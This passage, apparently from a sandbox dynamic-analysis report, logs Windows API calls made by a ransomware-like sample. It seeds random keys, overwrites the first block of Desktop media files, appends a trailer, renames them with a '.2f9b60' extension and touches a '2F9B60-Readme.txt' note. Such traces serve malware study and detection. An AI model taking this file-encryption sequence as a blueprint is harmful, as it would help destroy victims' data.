HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0109.037] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0109.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0109.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867140) returned 1 Thread: id = 781 os_tid = 0x1318 [0098.677] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bT9JA39FwLi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt9ja39fwli.mkv")) returned 0x20 [0098.677] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bT9JA39FwLi.mkv", dwFileAttributes=0x20) returned 1 [0098.677] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bT9JA39FwLi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt9ja39fwli.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b4 [0098.677] GetFileSizeEx (in: hFile=0x14b4, lpFileSize=0x21e5fe20 | out: lpFileSize=0x21e5fe20*=25272) returned 1 [0098.677] SetFilePointerEx (in: hFile=0x14b4, liDistanceToMove=0x62b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.678] ReadFile (in: hFile=0x14b4, lpBuffer=0x21e5fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21e5fde8, lpOverlapped=0x0 | out: lpBuffer=0x21e5fda0*, lpNumberOfBytesRead=0x21e5fde8*=0x4, lpOverlapped=0x0) returned 1 [0098.679] SetFilePointerEx (in: hFile=0x14b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260860 [0098.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0098.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260920 [0098.679] NtQuerySystemTime (in: CurrentTime=0x21e5fce0 | out: CurrentTime=0x21e5fce0*=132462177041998000) returned 0x0 [0098.679] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x541e9a13 [0098.679] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x51f98a2f [0098.679] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x1536bd5e [0098.679] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x76313cdb [0098.679] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x7178624a [0098.679] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x5e13e15b [0098.679] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x7517fd3b [0098.679] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x61aa96b8 [0098.679] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x3746651d [0098.679] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x46edfe79 [0098.679] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x61d2b7d1 [0098.679] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x1617db0a [0098.679] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x535a9784 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x69f62bf7 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x19c1b66 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x3d251c96 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x4450318d [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x4dd29a40 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x446fe6d3 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x725b37d5 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x7345645c [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0xea67690 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0xe973616 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x21288e02 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x3f0b5dca [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x7b2953a7 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x7e8b3dc0 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x4c1bef12 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x23cbbb81 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x4eb0a977 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x36df3c97 [0098.680] RtlRandomEx (in: Seed=0x21e5fcd0 | out: Seed=0x21e5fcd0) returned 0x74c122ac [0098.693] SetFilePointerEx (in: hFile=0x14b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.693] ReadFile (in: hFile=0x14b4, lpBuffer=0x1cf16700, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21e5fd40, lpOverlapped=0x0 | out: lpBuffer=0x1cf16700*, lpNumberOfBytesRead=0x21e5fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0098.693] SetFilePointerEx (in: hFile=0x14b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260860 [0098.693] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260860) returned 1 [0098.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cef4a70 [0098.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260860 [0098.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260920 [0098.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260920) returned 1 [0098.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.694] WriteFile (in: hFile=0x14b4, lpBuffer=0x1cef4a70*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21e5fd40, lpOverlapped=0x0 | out: lpBuffer=0x1cef4a70*, lpNumberOfBytesWritten=0x21e5fd40*=0x3c00, lpOverlapped=0x0) returned 1 [0100.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cef4a70) returned 1 [0100.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf16700) returned 1 [0100.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f5b0 [0100.915] SetFilePointerEx (in: hFile=0x14b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.915] WriteFile (in: hFile=0x14b4, lpBuffer=0x167ee0*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x21e5fdf0, lpOverlapped=0x0 | out: lpBuffer=0x167ee0*, lpNumberOfBytesWritten=0x21e5fdf0*=0x110, lpOverlapped=0x0) returned 1 [0101.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97fd0 [0101.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869840 [0101.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261100 [0101.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261100) returned 1 [0101.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x20261100 [0101.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202610d0 [0101.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261070 [0101.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261070) returned 1 [0101.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869840) returned 1 [0101.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97fd0) returned 1 [0101.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97fd0 [0101.940] sprintf (in: _Dest=0x1cd97fd0, _Format="%c%c" | out: _Dest="80") returned 2 [0101.940] sprintf (in: _Dest=0x1cd97fd2, _Format="%c%c" | out: _Dest="07") returned 2 [0101.940] sprintf (in: _Dest=0x1cd97fd4, _Format="%c%c" | out: _Dest="67") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97fd6, _Format="%c%c" | out: _Dest="3f") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97fd8, _Format="%c%c" | out: _Dest="e7") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97fda, _Format="%c%c" | out: _Dest="9b") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97fdc, _Format="%c%c" | out: _Dest="16") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97fde, _Format="%c%c" | out: _Dest="4a") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97fe0, _Format="%c%c" | out: _Dest="41") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97fe2, _Format="%c%c" | out: _Dest="e4") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97fe4, _Format="%c%c" | out: _Dest="9a") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97fe6, _Format="%c%c" | out: _Dest="a3") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97fe8, _Format="%c%c" | out: _Dest="22") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97fea, _Format="%c%c" | out: _Dest="45") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97fec, _Format="%c%c" | out: _Dest="07") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97fee, _Format="%c%c" | out: _Dest="72") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97ff0, _Format="%c%c" | out: _Dest="14") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97ff2, _Format="%c%c" | out: _Dest="89") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97ff4, _Format="%c%c" | out: _Dest="84") returned 2 [0101.941] sprintf (in: _Dest=0x1cd97ff6, _Format="%c%c" | out: _Dest="75") returned 2 [0101.942] sprintf (in: _Dest=0x1cd97ff8, _Format="%c%c" | out: _Dest="8e") returned 2 [0101.942] sprintf (in: _Dest=0x1cd97ffa, _Format="%c%c" | out: _Dest="ee") returned 2 [0101.942] sprintf (in: _Dest=0x1cd97ffc, _Format="%c%c" | out: _Dest="56") returned 2 [0101.942] sprintf (in: _Dest=0x1cd97ffe, _Format="%c%c" | out: _Dest="d9") returned 2 [0101.942] sprintf (in: _Dest=0x1cd98000, _Format="%c%c" | out: _Dest="47") returned 2 [0101.942] sprintf (in: _Dest=0x1cd98002, _Format="%c%c" | out: _Dest="97") returned 2 [0101.942] sprintf (in: _Dest=0x1cd98004, _Format="%c%c" | out: _Dest="25") returned 2 [0101.942] sprintf (in: _Dest=0x1cd98006, _Format="%c%c" | out: _Dest="be") returned 2 [0101.942] sprintf (in: _Dest=0x1cd98008, _Format="%c%c" | out: _Dest="40") returned 2 [0101.942] sprintf (in: _Dest=0x1cd9800a, _Format="%c%c" | out: _Dest="7b") returned 2 [0101.942] RtlInitAnsiString (in: DestinationString=0x21e5fe68, SourceString="8007673fe79b164a41e49aa322450772148984758eee56d9479725be407b" | out: DestinationString="8007673fe79b164a41e49aa322450772148984758eee56d9479725be407b") [0101.942] RtlAnsiStringToUnicodeString (in: DestinationString=0x21e5fe38, SourceString="8007673fe79b164a41e49aa322450772148984758eee56d9479725be407b", AllocateDestinationString=1 | out: DestinationString="8007673fe79b164a41e49aa322450772148984758eee56d9479725be407b") returned 0x0 [0101.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x205099f0 [0101.942] wcscat (in: _Dest=0x20509960, _Source="8007673fe79b164" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8007673fe79b164") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8007673fe79b164" [0101.942] wcscat (in: _Dest=0x20509960, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8007673fe79b164.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8007673fe79b164.2f9b60" [0101.942] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8007673fe79b164.2f9b60", NtPathName=0x21e5fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8007673fe79b164.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205c1f0 [0108.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c1f0) returned 1 [0108.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9bbe0) returned 1 [0108.987] NtQueryInformationFile (in: FileHandle=0x14b4, IoStatusBlock=0x21e5fe78, FileInformation=0x21e5fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21e5fe78, FileInformation=0x21e5fe88) returned 0x0 [0108.988] NtSetInformationFile (FileHandle=0x14b4, IoStatusBlock=0x21e5fe78, FileInformation=0x21e5fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509960) returned 1 [0108.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205099f0) returned 1 [0108.995] FlushFileBuffers (hFile=0x14b4) returned 1 [0109.019] CloseHandle (hObject=0x14b4) returned 1 [0109.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b79dcf0 [0109.020] wcscpy (in: _Dest=0x1b79dcf0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0109.020] wcscat (in: _Dest=0x1b79dcf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0109.020] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0109.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0109.021] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8670c0) returned 1 Thread: id = 782 os_tid = 0x131c [0098.696] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dCXcXvcw.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dcxcxvcw.mp3")) returned 0x20 [0098.696] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dCXcXvcw.mp3", dwFileAttributes=0x20) returned 1 [0098.696] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dCXcXvcw.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dcxcxvcw.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14b8 [0098.696] GetFileSizeEx (in: hFile=0x14b8, lpFileSize=0x21f0f800 | out: lpFileSize=0x21f0f800*=54296) returned 1 [0098.697] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0xd414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.697] ReadFile (in: hFile=0x14b8, lpBuffer=0x21f0f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21f0f7c8, lpOverlapped=0x0 | out: lpBuffer=0x21f0f780*, lpNumberOfBytesRead=0x21f0f7c8*=0x4, lpOverlapped=0x0) returned 1 [0098.698] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260920 [0098.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609b0 [0098.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609e0 [0098.698] NtQuerySystemTime (in: CurrentTime=0x21f0f6c0 | out: CurrentTime=0x21f0f6c0*=132462177042154000) returned 0x0 [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x5a88205d [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x1f2a3f80 [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x3a49a29d [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x3b72aeb1 [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x62f8326e [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x4c01e5f3 [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x6496cf15 [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x3464d495 [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x5ab140ae [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x6e4d45ea [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x1d76044c [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x3363fd2f [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x789e4a8c [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0xb0569a6 [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x421298d6 [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x1d5af0f8 [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x6a039a86 [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x58292063 [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x3441b38 [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x3af86ff7 [0098.698] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x5e4ce573 [0098.699] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x7920773b [0098.699] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x66213e16 [0098.699] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x540e019b [0098.699] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x495d7476 [0098.699] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x494035af [0098.699] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x6671ac19 [0098.699] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x12bffa03 [0098.699] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x5a793873 [0098.699] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x19cc813b [0098.699] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x2836319d [0098.699] RtlRandomEx (in: Seed=0x21f0f6b0 | out: Seed=0x21f0f6b0) returned 0x1448fa95 [0098.709] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.709] ReadFile (in: hFile=0x14b8, lpBuffer=0x1cef8680, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x21f0f720, lpOverlapped=0x0 | out: lpBuffer=0x1cef8680*, lpNumberOfBytesRead=0x21f0f720*=0x3c00, lpOverlapped=0x0) returned 1 [0098.709] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260920 [0098.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260920) returned 1 [0098.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf12af0 [0098.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260920 [0098.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609e0 [0098.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202609e0) returned 1 [0098.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.710] WriteFile (in: hFile=0x14b8, lpBuffer=0x1cf12af0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x21f0f720, lpOverlapped=0x0 | out: lpBuffer=0x1cf12af0*, lpNumberOfBytesWritten=0x21f0f720*=0x3c00, lpOverlapped=0x0) returned 1 [0100.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf12af0) returned 1 [0100.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cef8680) returned 1 [0100.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263ad0 [0100.915] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.915] WriteFile (in: hFile=0x14b8, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x21f0f7d0, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x21f0f7d0*=0x10a, lpOverlapped=0x0) returned 1 [0101.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0101.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8699c0 [0101.909] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605c0 [0101.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202605c0) returned 1 [0101.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0101.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605c0 [0101.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260590 [0101.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260590) returned 1 [0101.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0101.910] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0101.910] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f6b0 [0101.910] sprintf (in: _Dest=0x1cd9f6b0, _Format="%c%c" | out: _Dest="bb") returned 2 [0101.910] sprintf (in: _Dest=0x1cd9f6b2, _Format="%c%c" | out: _Dest="95") returned 2 [0101.910] sprintf (in: _Dest=0x1cd9f6b4, _Format="%c%c" | out: _Dest="b8") returned 2 [0101.910] sprintf (in: _Dest=0x1cd9f6b6, _Format="%c%c" | out: _Dest="73") returned 2 [0101.910] sprintf (in: _Dest=0x1cd9f6b8, _Format="%c%c" | out: _Dest="8b") returned 2 [0101.910] sprintf (in: _Dest=0x1cd9f6ba, _Format="%c%c" | out: _Dest="3b") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6bc, _Format="%c%c" | out: _Dest="1f") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6be, _Format="%c%c" | out: _Dest="70") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6c0, _Format="%c%c" | out: _Dest="2c") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6c2, _Format="%c%c" | out: _Dest="50") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6c4, _Format="%c%c" | out: _Dest="0c") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6c6, _Format="%c%c" | out: _Dest="77") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6c8, _Format="%c%c" | out: _Dest="44") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6ca, _Format="%c%c" | out: _Dest="0d") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6cc, _Format="%c%c" | out: _Dest="f1") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6ce, _Format="%c%c" | out: _Dest="5a") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6d0, _Format="%c%c" | out: _Dest="e7") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6d2, _Format="%c%c" | out: _Dest="80") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6d4, _Format="%c%c" | out: _Dest="60") returned 2 [0101.911] sprintf (in: _Dest=0x1cd9f6d6, _Format="%c%c" | out: _Dest="d9") returned 2 [0101.911] sprintf (in: 